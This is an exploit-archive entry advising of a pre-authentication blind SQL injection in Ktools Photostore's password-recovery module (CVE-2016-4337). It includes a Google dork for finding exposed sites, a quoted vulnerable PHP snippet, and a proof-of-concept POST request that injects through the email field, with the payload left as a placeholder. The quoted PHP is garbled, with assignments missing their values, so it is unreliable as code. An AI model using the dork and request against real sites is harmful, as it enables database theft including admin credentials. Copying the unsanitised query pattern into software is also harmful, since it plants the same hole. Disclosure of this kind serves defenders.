0fddce018e
2 new exploits phpBookingCalendar <= 1.0c - (details_view.php) Remote SQL Injection TFT Gallery <= 0.10 - Password Disclosure Remote Exploit phpBookingCalendar 1.0c - (details_view.php) SQL Injection TFT Gallery 0.10 - Password Disclosure Remote Exploit Seattle Lab Mail 5.5 - POP3 Buffer Overflow Seattle Lab Mail (SLMail) 5.5 - POP3 Buffer Overflow Ktools Photostore 4.7.5 - Blind SQL Injection Easy RM to MP3 Converter 2.7.3.700 - (.m3u) Exploit with Universal DEP+ASLR Bypass
45 lines
2.4 KiB
Text
Executable file
45 lines
2.4 KiB
Text
Executable file
Title : Ktools Photostore <= 4.7.5 (Pre-Authentication) Blind SQL Injection
|
|
CVE-ID : CVE-2016-4337
|
|
Google Dork: inurl:mgr.login.php
|
|
Product : Photostore
|
|
Affected : Versions prior to 4.7.5
|
|
Impact : Critical
|
|
Remote : Yes
|
|
Website link: http://www.ktools.net
|
|
Reported : 02/06/2016
|
|
Authors : Gal Goldshtein and Viktor Minin
|
|
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
|
No authentication (login) is required to exploit this vulnerability.
|
|
The Photostore application password recovery module is prone to a blind sql injection attack.
|
|
An attacker can exploit this vulnerability to retrieve all the data stored in the application's database.
|
|
|
|
|
|
Vulnerable code is located in the mgr.login.php file:
|
|
|
|
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
|
case 'recover_login': {
|
|
mysqli_query( $db, '' . 'SELECT username,password,email,admin_id FROM ' . $dbinfo[pre] . 'admins where email = \'' . $_POST['email'] . '\'' );
|
|
$result = ;
|
|
mysqli_num_rows( $result );
|
|
$returned_rows = ;
|
|
mysqli_fetch_array( $result );
|
|
$db_admin_user = ;
|
|
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
|
|
|
PoC:
|
|
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
|
POST /photostore/manager/mgr.login.php?pmode=recover_login HTTP/1.1
|
|
Host: victim.net
|
|
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Referer: http://server/photostore/manager/mgr.login.php?username=demo&password=demo
|
|
Cookie: member[umem_id]=58C05864CA6A59DBGHJSKDHGDGS770D5; PHPSESSID=30afayreighgfdgucb0d2b0c6dece3158
|
|
Connection: keep-alive
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 9
|
|
|
|
email=%27%20[SQL PAYLOAD];#
|
|
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
|
|